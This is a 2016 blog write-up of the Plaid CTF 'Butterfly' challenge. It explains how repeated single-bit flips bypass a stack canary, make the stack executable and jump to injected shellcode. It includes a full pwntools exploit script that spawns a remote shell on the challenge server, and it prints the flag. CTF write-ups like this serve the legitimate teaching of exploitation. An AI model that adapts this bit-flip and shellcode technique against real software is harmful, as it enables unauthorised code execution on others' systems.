Tuesday, April 19, 2016

Plaid CTF 2016 - Butterfly

butterfly is a 64 bit executable with NX and stack canaries enabled.

[+] The binary reads 50 bytes through fgets, converts it to integer(address) using strtol
[+] This address is page aligned and made writable using mprotect
[+] The address is processed and then used for bit flip
[+] mprotect is called again to remove write permissions

So, we need to use the bit flip to gain control of execution. Below are the bit flips done in sequence to get code execution:

[+] 0x0400860 add rsp,0x48 -> push 0x5b48c483. This will point RSP into the fgets buffer on return from function
[+] Then return to 0x04007B8 to achieve multiple bit flips
[+] Bypass stack canary check by flipping, 0x40085b jne stack_check_fail -> 0x40085b je stack_check_fail
[+] Modify second mprotect call's argument to keep the RWX permission, 0x40082f mov edx,0x5 -> mov edx,0x7
[+] Modify first mproect call's argument as, 0x4007ef mov r15,rbp -> mov r15,r13. Since r13 holds an address in stack, this will make stack RWX
[+] Send the shellcode in next call to fgets and return to 0x400993 [jmp rsp] to execute the shellcode

Below is the exploit:

#!/usr/bin/env python

from pwn import *

HOST = '127.0.0.1'
HOST = 'butterfly.pwning.xxx'
PORT = 9999
context.arch = 'x86_64'

soc = remote(HOST, PORT)
soc.recvline()

def send_payload(address_to_flip, address_to_ret, shellcode = ''):
    global soc
    payload  = str(address_to_flip) + chr(0) 
    payload += "A" * (8 - (len(payload) % 8))
    payload += p64(address_to_ret)
    payload += shellcode
    soc.sendline(payload)
    soc.recvline()

# add rsp, 0x48
send_payload(33571589, 0x4007B8)

# jnz short stack_check_fail
send_payload(33571544, 0x4007B8)

# mov edx, 5
send_payload(33571201, 0x4007B8)

# mov r15, rbp
send_payload(33570682, 0x4007B8)

# make stack executable and jump to shellcode
shell = asm(shellcraft.amd64.linux.sh())
send_payload(33571864, 0x400993, shell)

soc.interactive()
# PCTF{b1t_fl1ps_4r3_0P_r1t3}

No comments :

Post a Comment